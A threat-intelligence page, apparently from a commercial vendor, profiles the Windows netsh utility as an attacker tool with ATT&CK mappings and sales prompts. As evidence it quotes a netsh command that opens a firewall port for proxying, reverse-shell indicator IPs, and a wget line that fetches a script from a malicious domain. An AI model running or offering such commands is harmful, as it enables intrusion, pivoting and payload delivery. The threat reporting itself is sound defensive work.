Malware

netsh

netsh is the Windows network shell utility. In the provided content, it is described as being usable to set up a proxy tunnel that allows remote host access to an infected host. The content also notes its use in conjunction with the command "cmd.exe /c netsh firewall add portopening TCP 443 "adp"" to make a victim machine function as a proxy server. These behaviors indicate use for proxying, tunneling, and enabling remote access/pivoting through compromised Windows systems. No specific threat actor, industry targeting, or additional indicators of compromise beyond the cited command are directly attributed to netsh in the provided content.

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

5 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique

T1133External Remote ServicesEvidence1

One of the key ShadowRay 2.0 indicators was 103.127.134.124, which received reverse shell connections from compromised Ray clusters.

Persistence

1 technique

T1133External Remote ServicesEvidence1

One of the key ShadowRay 2.0 indicators was 103.127.134.124, which received reverse shell connections from compromised Ray clusters.

Command and Control

3 techniques

T1090.001Internal ProxyEvidence2

"APT41 used a tool called CLASSFON to covertly proxy network communications." / "BADCALL functions as a proxy server between the victim and C2 server." / "Sandworm Team's BCS-server tool can create an internal proxy server to redirect traffic..."

T1095Non-Application Layer ProtocolEvidence1

We also observed multiple reverse shells connecting to 67.217.57.240:666 and masscan[.]cloud from compromised systems.

T1105Ingress Tool TransferEvidence1

A compromised Ray cluster logged the following command: wget https://matrix.masscan.cloud/ep9TS2/ndt.sh ...

Other

1 technique

T1562.004Disable or Modify System FirewallEvidence1

During the SolarWinds Compromise, APT29 used netsh to configure firewall rules that limited certain UDP outbound packets.

ACTIVITY FEED

Recent activity

3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

3 SOURCESView more in app

mitre attackNews

Mar 18, 2026

Proxy, Technique T1090 - Enterprise | MITRE ATT&CK®

Windows command-line utility that can be abused to configure networking to enable proxy tunneling/remote access.

mitre attackNews

Mar 18, 2026

Proxy, Technique T1090 - Enterprise | MITRE ATT&CK®

Windows command-line utility that can be abused to configure networking to enable proxy tunneling/remote access.

mitre attack websiteNews

Mar 18, 2026

Proxy, Technique T1090 - Enterprise | MITRE ATT&CK®

Windows command-line utility that can be abused to configure proxy tunneling/port forwarding.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping5

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

netsh